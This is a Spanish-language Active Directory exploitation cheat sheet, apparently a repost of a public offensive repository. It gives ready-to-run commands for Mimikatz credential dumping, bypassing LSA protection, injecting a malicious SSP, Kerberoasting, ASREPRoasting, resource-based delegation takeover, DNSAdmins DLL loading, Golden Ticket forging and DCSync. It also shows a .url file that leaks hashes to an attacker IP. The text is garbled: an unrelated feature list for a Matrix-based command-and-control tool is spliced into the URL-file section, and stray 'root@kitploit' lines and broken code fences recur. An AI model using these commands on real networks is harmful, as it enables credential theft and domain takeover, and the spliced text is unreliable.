Hoja de referencia de explotación de Active Directory

Esta hoja de referencia contiene métodos comunes de enumeración y ataque para Active Directory de Windows.

ℹ️ Este repositorio fue creado por Nikos Katsiopis y Nikos Vourdas.

Esta hoja de referencia está inspirada en el repositorio PayloadAllTheThings.

Resumen

• Hoja de referencia de explotación de Active Directory
  • Resumen
  • Herramientas
  • Enumeración de dominio
    • Usando PowerView
    • Usando el módulo AD
    • Usando BloodHound
      • BloodHound remoto
      • BloodHound en sitio
    • Usando Adalanche
      • Adalanche remoto
    • Exportar objetos enumerados
    • Herramientas de enumeración útiles
  • Escalada de privilegios local
    • Herramientas útiles para escalada local
  • Movimiento lateral
    • PowerShell Remoting
    • Ejecución remota de código con credenciales de PS
    • Importar un módulo de PowerShell y ejecutar sus funciones de forma remota
    • Ejecutar comandos remotos con estado
    • Mimikatz
    • Protocolo de escritorio remoto
    • Ataques con archivos URL
    • Herramientas útiles
  • Escalada de privilegios de dominio
    • Kerberoast
    • ASREPRoast
    • Ataque de pulverización de contraseñas
    • Forzar la configuración de SPN
    • Abusar de copias sombra
    • Listar y descifrar credenciales almacenadas usando Mimikatz
    • Delegación sin restricciones
    • Delegación restringida
    • Delegación restringida basada en recursos
    • Abuso de DNSAdmins
    • Abusar de DNS integrado en Active Directory
    • Abusar del grupo Backup Operators
    • Abusar de Exchange
    • Armar el bug de la impresora
    • Abusar de ACLs
    • Abusar de IPv6 con mitm6
    • Abuso del historial de SID
    • Explotar SharePoint
    • Zerologon
    • PrintNightmare
    • Servicios de certificados de Active Directory
    • No PAC
  • Persistencia en el dominio
    • Ataque de Golden Ticket
    • Ataque DCsync
    • Ataque de Silver Ticket
    • Ataque de Skeleton Key
    • Abuso de DSRM
    • SSP personalizado
  • Ataques entre bosques
    • Tickets de confianza
    • Abusar de servidores MSSQL
    • Romper confianzas de bosque

Herramientas

• Powersploit
• PowerUpSQL
• Powermad
• Impacket
• Mimikatz
• Rubeus -> Versión compilada
• BloodHound
• Módulo AD
• ASREPRoast
• Adalanche

Enumeración de dominio

Usando PowerView

Powerview v.3.0
Wiki de Powerview

• Obtener dominio actual: Get-Domain

• Enumerar otros dominios: Get-Domain -Domain <DomainName>

• Obtener SID del dominio: Get-DomainSID

• Obtener política de dominio: ```powershell Get-DomainPolicy

  #Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy

  root@kitploit:~

• Obtener Controladores de Dominio: ```powershell Get-DomainController Get-DomainController -Domain

  root@kitploit:~

• Enumerar usuarios del dominio: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt

  #Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List

  #Enumerate user logged on a machine Get-NetLoggedon -ComputerName

  #Enumerate Session Information for a machine Get-NetSession -ComputerName

  #Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName

  root@kitploit:~

• Enumerar equipos del dominio: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

  #Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

  root@kitploit:~

❗ Escalada de privilegios a Administrador de dominio con caza de usuarios:
Tengo acceso de administrador local en una máquina -> Un Administrador de dominio tiene una sesión en esa máquina -> Robo su token y me hago pasar por él -> ¡Beneficio!

Usando el Módulo AD

• Obtener dominio actual: Get-ADDomain

• Enumerar otros dominios: Get-ADDomain -Identity <Domain>

• Obtener SID de dominio: Get-DomainSID

• Obtener controladores de dominio: ```powershell Get-ADDomainController Get-ADDomainController -Identity

  root@kitploit:~

• Enumerar Usuarios del Dominio: ```powershell Get-ADUser -Filter * -Identity -Properties *

  #Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description

  root@kitploit:~

• Enumerar Computadoras del Dominio: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *

  root@kitploit:~

• Enumerar confianza de dominio: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity

  root@kitploit:~

• Enum Forest Trust: ```powershell Get-ADForest Get-ADForest -Identity

  #Domains of Forest Enumeration (Get-ADForest).Domains

  root@kitploit:~

• Enumerar Local AppLocker Effective Policy: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

  root@kitploit:~

Usando BloodHound

BloodHound Remoto

Repositorio de Python BloodHound o instálalo con `pip3 install bloodhound````powershell bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All

#### BloodHound Local```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>

#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>

Usando Adalanche

Adalanche Remoto```bash

kali linux:

./adalanche collect activedirectory --domain
--username Username@Domain --password
--server

Example:

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb

-> Terminating successfully

Any error?:

LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389

Invalid Credentials ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic

Analyze data

go to web browser -> 127.0.0.1:8080

./adalanche analyze

#### Exportar objetos enumerados

Puede exportar objetos enumerados de cualquier módulo/cmdlet a un archivo XML para su posterior análisis.

El cmdlet `Export-Clixml` crea una representación basada en XML de Common Language Infrastructure (CLI) de un objeto o varios objetos y la almacena en un archivo. Luego puede usar el cmdlet `Import-Clixml` para recrear el objeto guardado basándose en el contenido de ese archivo.```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml

# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml

# You can now apply any condition, filters, etc.

$DomainUsers | select name

$DomainUsers | ? {$_.name -match "User's Name"}

Herramientas de Enumeración Útiles

• ldapdomaindump Volcador de información vía LDAP
• adidnsdump Volcado de DNS integrado por cualquier usuario autenticado
• ACLight Descubrimiento avanzado de cuentas privilegiadas
• ADRecon Herramienta detallada de reconocimiento de Active Directory

Escalada de Privilegios Local

• Windows Local Privilege Escalation Cookbook Recetario para escaladas de privilegios locales en Windows

• Juicy Potato Abusar de los privilegios SeImpersonate o SeAssignPrimaryToken para la suplantación del sistema

  ⚠️ Funciona solo hasta Windows Server 2016 y Windows 10 hasta el parche 1803

• Lovely Potato Juicy Potato automatizado

  ⚠️ Funciona solo hasta Windows Server 2016 y Windows 10 hasta el parche 1803

• PrintSpoofer Explotar el PrinterBug para la suplantación del sistema

  🙏 Funciona para Windows Server 2019 y Windows 10

• RoguePotato Juicy Potato mejorado

  🙏 Funciona para Windows Server 2019 y Windows 10

• Abusando de los privilegios de token

• SMBGhost CVE-2020-0796
  PoC

• CVE-2021-36934 (HiveNightmare/SeriousSAM)

Herramientas Útiles para Escalada de Privilegios Local

• PowerUp Abuso de configuraciones incorrectas
• BeRoot Herramienta general de enumeración para escalada de privilegios
• Privesc Herramienta general de enumeración para escalada de privilegios
• FullPowers Restaurar los privilegios de una cuenta de servicio

Movimiento Lateral

PowerShell Remoting```powershell

#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions

### Ejecución remota de código con credenciales de PS```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

Importar un módulo de PowerShell y ejecutar sus funciones de forma remota```powershell

#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess

#Interact with the session Enter-PSSession -Session $sess

### Ejecutando comandos remotos con estado```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz```powershell

#The commands are in cobalt strike format!

#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:

#List all available kerberos tickets in memory mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys mimikatz sekurlsa::ekeys

#Dump SAM Database mimikatz lsadump::sam

#Dump SECRETS Database mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all

#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history

#List and Dump local kerberos credentials mimikatz kerberos::list /dump

#Pass The Ticket mimikatz kerberos::ptt

#List TS/RDP sessions mimikatz ts::sessions

#List Vault credentials mimikatz vault::list

:exclamation: ¿Qué pasa si mimikatz falla al extraer credenciales debido a los controles de Protección LSA?

- LSA como un Proceso Protegido (Bypass del Espacio del Kernel)  ```powershell
  #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

  #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
  #Now lets import the mimidriver.sys to the system
  mimikatz # !+

  #Now lets remove the protection flags from lsass.exe process
  mimikatz # !processprotect /process:lsass.exe /remove

  #Finally run the logonpasswords function to dump lsass
  mimikatz # sekurlsa::logonpasswords

• LSA como un Proceso Protegido (Bypass "sin archivos" en el espacio de usuario)

  • PPLdump
  • Evadiendo la Protección de LSA en el Espacio de Usuario

• LSA se ejecuta como un proceso virtualizado (LSAISO) mediante Credential Guard ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso

  #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp

  #Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log

  root@kitploit:~

• Detailed Mimikatz Guide

• Poking Around With 2 lsass Protection Options

Protocolo de Escritorio Remoto

Si el host al que queremos movernos lateralmente tiene "RestrictedAdmin" habilitado, podemos pasar el hash usando el protocolo RDP y obtener una sesión interactiva sin la contraseña en texto plano.

• Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"

  #Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated

  root@kitploit:~

• xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>

:exclamation: Si el modo de administración restringida está deshabilitado en la máquina remota, podemos conectarnos al host usando otra herramienta/protocolo como psexec o winrm y habilitarlo creando la siguiente clave de registro y estableciendo su valor en cero: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".

- Omitir la restricción de "Una sola sesión por usuario"

En un equipo de dominio, si tienes ejecución de comandos como sistema o administrador local y deseas una sesión RDP que otro usuario ya está usando, puedes evitar la restricción de sesión única agregando la siguiente clave de registro:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0

Una vez que hayas completado lo deseado, puedes eliminar la clave para restablecer la restricción de una sesión por usuario.```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse

### Ataques de archivos URL

- archivo .url  ```
  [InternetShortcut]
  URL=whatever
  WorkingDirectory=whatever
  IconFile=\\<AttackersIp>\%USERNAME%.icon
  IconIndex=1

Características

• Descentralizado: La infraestructura de comando y control se basa en bots de Matrix, lo que simplifica el despliegue al evitar la necesidad de servidores dedicados o registro de dominios.
• Interacción en tiempo real: El uso de Matrix permite la ejecución de comandos y la recuperación de salida en tiempo real directamente en las salas de Matrix.
• Protocolos:
  • HTTP/HTTPS: Para ofuscar el tráfico y entregar comandos.
  • DNS: Para ocultar el tráfico C2 bajo la apariencia de solicitudes DNS legítimas.
  • ICMP: Para aprovechar las operaciones de red de bajo nivel.
• Persistencia: Se integra persistencia basada en el registro para volver a ejecutar el ejecutable después del reinicio.
• Escalada de privilegios: Integración de bypass de UAC para ejecución elevada.
• Actualizaciones de configuración dinámicas: Ajusta la configuración sobre la marcha mediante mensajes cifrados de Matrix.
• Cifrado: Cifrado AES-256 para mensajes seguros de Matrix.
• Modularidad: Nuevos protocolos y características pueden integrarse fácilmente. ``` [InternetShortcut] URL=file:///leak/leak.html
  root@kitploit:~

• .scf archivo ``` [Shell] Command=2 IconFile=\\Share\test.ico [Taskbar] Command=ToggleDesktop
  root@kitploit:~

Colocar estos archivos en un recurso compartido escribible, la víctima solo tiene que abrir el explorador de archivos y navegar al recurso compartido. Nota que el archivo no necesita ser abierto ni el usuario interactuar con él, pero debe estar en la parte superior del sistema de archivos o simplemente visible en la ventana del explorador de Windows para que se renderice. Usa responder para capturar los hashes.

❗ Los ataques de archivos .scf no funcionan en las últimas versiones de Windows.

Herramientas Útiles

• Powercat netcat escrito en powershell, y proporciona capacidades de tunneling, relay y portforward.
• SCShell herramienta de movimiento lateral sin archivos que se basa en ChangeServiceConfigA para ejecutar comandos
• Evil-Winrm el shell WinRM definitivo para hacking/pentesting
• RunasCs versión en Csharp y abierta del runas.exe integrado de Windows
• ntlm_theft crea todos los formatos de archivo posibles para ataques de archivos url

Escalada de Privilegios en el Dominio

Kerberoast

WUT IS DIS?:
Todos los usuarios estándar del dominio pueden solicitar una copia de todas las cuentas de servicio junto con sus hashes de contraseña correlativos, por lo que podemos pedir un TGS para cualquier SPN que esté vinculado a una cuenta de "usuario", extraer el blob cifrado que fue cifrado usando la contraseña del usuario y realizar un ataque de fuerza bruta offline.

• PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN

  #Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast

  #Requesting the TGS for a single account: Request-SPNTicket

  #Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'

  root@kitploit:~

• AD Module: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

  root@kitploit:~

• Impacket: ```powershell python GetUserSPNs.py /: -outputfile

  root@kitploit:~

• Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:

  #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec

  #Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes

  #Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple

  #Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:

  root@kitploit:~

ASREPRoast

¿QUÉ ES ESTO?:
Si una cuenta de usuario del dominio no requiere la preautenticación de Kerberos, podemos solicitar un TGT válido para esta cuenta sin siquiera tener credenciales del dominio, extraer el blob cifrado y realizar un ataque de fuerza bruta offline.

• PowerView: Get-DomainUser -PreauthNotRequired -Verbose
• AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Deshabilitar forzosamente la preautenticación de Kerberos en una cuenta sobre la que tengo permisos de escritura o más. Verificar permisos interesantes en las cuentas:

Consejo: Agregamos un filtro, por ejemplo, RDPUsers para obtener "Cuentas de Usuario" no "Cuentas de Máquina", porque los hashes de cuentas de máquina no se pueden descifrar.

PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose

- Y finalmente ejecuta el ataque utilizando la herramienta [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast).  ```powershell
  #Get a specific Accounts hash:
  Get-ASREPHash -UserName <UserName> -Verbose

  #Get any ASREPRoastable Users hashes:
  Invoke-ASREPRoast -Verbose

• Usando Rubeus: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:

  #ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:

  #ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:

  root@kitploit:~

• Usando Impacket: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile

  root@kitploit:~

Ataque de Pulverización de Contraseñas

Si hemos obtenido algunas contraseñas al comprometer una cuenta de usuario, podemos usar este método para intentar explotar la reutilización de contraseñas en otras cuentas del dominio.

Herramientas:

• DomainPasswordSpray
• CrackMapExec
• Invoke-CleverSpray
• Spray

Forzar Configuración de SPN

¿QUÉ ES ESTO?: Si tenemos suficientes permisos -> GenericAll/GenericWrite podemos establecer un SPN en una cuenta objetivo, solicitar un TGS, luego obtener su blob y aplicar fuerza bruta.

• PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

  #Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname

  #Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}

  root@kitploit:~

• AD Module: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName

  #Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}

  root@kitploit:~

Finalmente, usa cualquier herramienta de antes para obtener el hash y hacer kerberoast.

Abusando de Shadow Copies

Si tienes acceso de administrador local en una máquina, intenta listar las shadow copies, es una forma fácil para Domain Escalation.```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows

#List shadow copies using diskshadow diskshadow list shadows all

#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

1. Puedes volcar la base de datos SAM respaldada y cosechar credenciales.
2. Busca credenciales almacenadas con DPAPI y descífralas.
3. Accede a archivos sensibles respaldados.

### Listar y Descifrar Credenciales Almacenadas usando Mimikatz

Normalmente las credenciales cifradas se almacenan en:

- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:
dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Artículo detallado: DPAPI todo lo relacionado

Delegación sin restricciones

¿QUÉ ES ESTO?: Si tenemos acceso de administrador en una máquina que tiene habilitada la Delegación sin restricciones, podemos esperar a que un objetivo de alto valor o un administrador de dominio se conecte a ella, robar su TGT, luego ptt y suplantarlo.

Usando PowerView:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose

#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'

**Nota:** ¡También podemos usar Rubeus!

### Delegación Restringida

Usando PowerView y Kekeo:```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

ALTERNATIVA: Usando Rubeus:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt

¡Ahora podemos acceder al servicio como el usuario suplantado!

:triangular_flag_on_post: **¿Qué pasa si tenemos derechos de delegación solo para un SPN específico? (por ejemplo, TIME):**

En este caso, aún podemos abusar de una característica de Kerberos llamada "servicio alternativo". Esto nos permite solicitar tickets TGS para otros servicios "alternativos" y no solo para aquellos para los que tenemos derechos. Eso nos da la ventaja de solicitar tickets válidos para cualquier servicio que queramos que el host soporte, otorgándonos acceso completo sobre la máquina objetivo.

### Delegación Restringida Basada en Recursos

_¿QUÉ ES ESTO?: \
TL;DR \
Si tenemos privilegios GenericALL/GenericWrite en un objeto de cuenta de máquina de un dominio, podemos abusar de ello y suplantarnos como cualquier usuario del dominio hacia él. Por ejemplo, podemos suplantar al Administrador del Dominio y tener acceso completo._

Herramientas que vamos a utilizar:

- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)

Primero, necesitamos entrar en el contexto de seguridad de la cuenta de usuario/máquina que tiene los privilegios sobre el objeto. Si es una cuenta de usuario, podemos usar Pass the Hash, RDP, PSCredentials, etc.

Ejemplo de explotación:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$

Artículos detallados:

• Moviendo la cola del perro: Abusando de la delegación restringida basada en recursos para atacar Active Directory
• ABUSO DE LA DELEGACIÓN RESTRINGIDA BASADA EN RECURSOS

❗ En la delegación restringida y la delegación restringida basada en recursos, si no tenemos la contraseña/hash de la cuenta con TRUSTED_TO_AUTH_FOR_DELEGATION que intentamos abusar, podemos usar el excelente truco "tgt::deleg" de kekeo o "tgtdeleg" de rubeus y engañar a Kerberos para que nos dé un TGT válido para esa cuenta. Luego simplemente usamos el ticket en lugar del hash de la cuenta para realizar el ataque.```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap

Artículo detallado:
[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)

### Abuso de DNSAdmins

_WUT IS DIS ?: Si un usuario es miembro del grupo DNSAdmins, puede cargar una DLL arbitraria con los privilegios de dns.exe que se ejecuta como SYSTEM. En caso de que el DC sirva un DNS, el usuario puede escalar sus privilegios a DA. Este proceso de explotación necesita privilegios para reiniciar el servicio DNS para que funcione._

1. Enumerar los miembros del grupo DNSAdmins:
   - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
   - AD Module: `Get-ADGroupMember -Identiny DNSAdmins`
2. Una vez que encontremos un miembro de este grupo, necesitamos comprometerlo (Hay muchas formas).
3. Luego, al servir un DLL malicioso en un recurso compartido SMB y configurar el uso del dll, podemos escalar nuestros privilegios:   ```powershell
   #Using dnscmd:
   dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll

   #Restart the DNS Service:
   sc \\DNSServer stop dns
   sc \\DNSServer start dns

Abusing Active Directory-Integraded DNS

• Explotando Active Directory-Integraded DNS
• ADIDNS Revisitado
• Inveigh

Abusing Backup Operators Group

¿QUÉ ES ESTO?: Si logramos comprometer una cuenta de usuario que es miembro del grupo Backup Operators, entonces podemos abusar de su privilegio SeBackupPrivilege para crear una copia sombra del estado actual del DC, extraer el archivo de base de datos ntds.dit, volcar los hashes y escalar nuestros privilegios a DA.

1. Una vez que tengamos acceso a una cuenta que tenga el privilegio SeBackupPrivilege, podemos acceder al DC y crear una copia sombra usando el binario firmado diskshadow: ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive

   create

   expose %mydrive% w: end backup }

   #Execute diskshadow with our script as parameter diskshadow /s script.txt

   root@kitploit:~

2. A continuación, necesitamos acceder a la copia sombra; podemos tener el privilegio SeBackupPrivilege, pero no podemos simplemente
   copiar y pegar ntds.dit; necesitamos imitar a un software de copia de seguridad y usar las llamadas de la API de Win32 para copiarlo en una carpeta accesible. Para ello,
   vamos a usar este increíble repositorio: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll

   #Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege

   #If it isn't we enable it Set-SeBackupPrivilege

   #Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit -Overwrite

   #Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive

   root@kitploit:~

3. Usando smbclient.py de impacket o alguna otra herramienta, copiamos ntds.dit y el hive SYSTEM en nuestra máquina local.

4. Usa secretsdump.py de impacket y vuelca los hashes.

5. Usa psexec u otra herramienta de tu elección para PTH y obtener acceso de Administrador de Dominio.

Abusando de Exchange

• Abusando de Exchange: a una llamada API de ser Administrador de Dominio
• CVE-2020-0688
• PrivExchange Intercambia tus privilegios por privilegios de Administrador de Dominio abusando de Exchange

Explotando el Printer Bug

• De fallo del servidor de impresión a Administrador de Dominio
• NetNTLMtoSilverTicket

Abusando de las ACLs

• Escalando privilegios con ACLs en Active Directory
• aclpwn.py
• Invoke-ACLPwn

Abusando de IPv6 con mitm6

• Comprometiendo redes IPv4 a través de IPv6
• mitm6

Abuso de SID History

WUT IS DIS?: Si logramos comprometer un dominio hijo de un bosque y el filtrado SID no está habilitado (la mayoría de las veces no lo está), podemos abusar de esto para escalar privilegios a Administrador de Dominio del dominio raíz del bosque. Esto es posible gracias al campo SID History en un ticket TGT de Kerberos, que define los grupos de seguridad y privilegios "extra".

Ejemplo de explotación:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi

#List the DC of the Root Domain dir \dc.root.domain.local\C$

#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all

Artículos detallados:

- [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640)
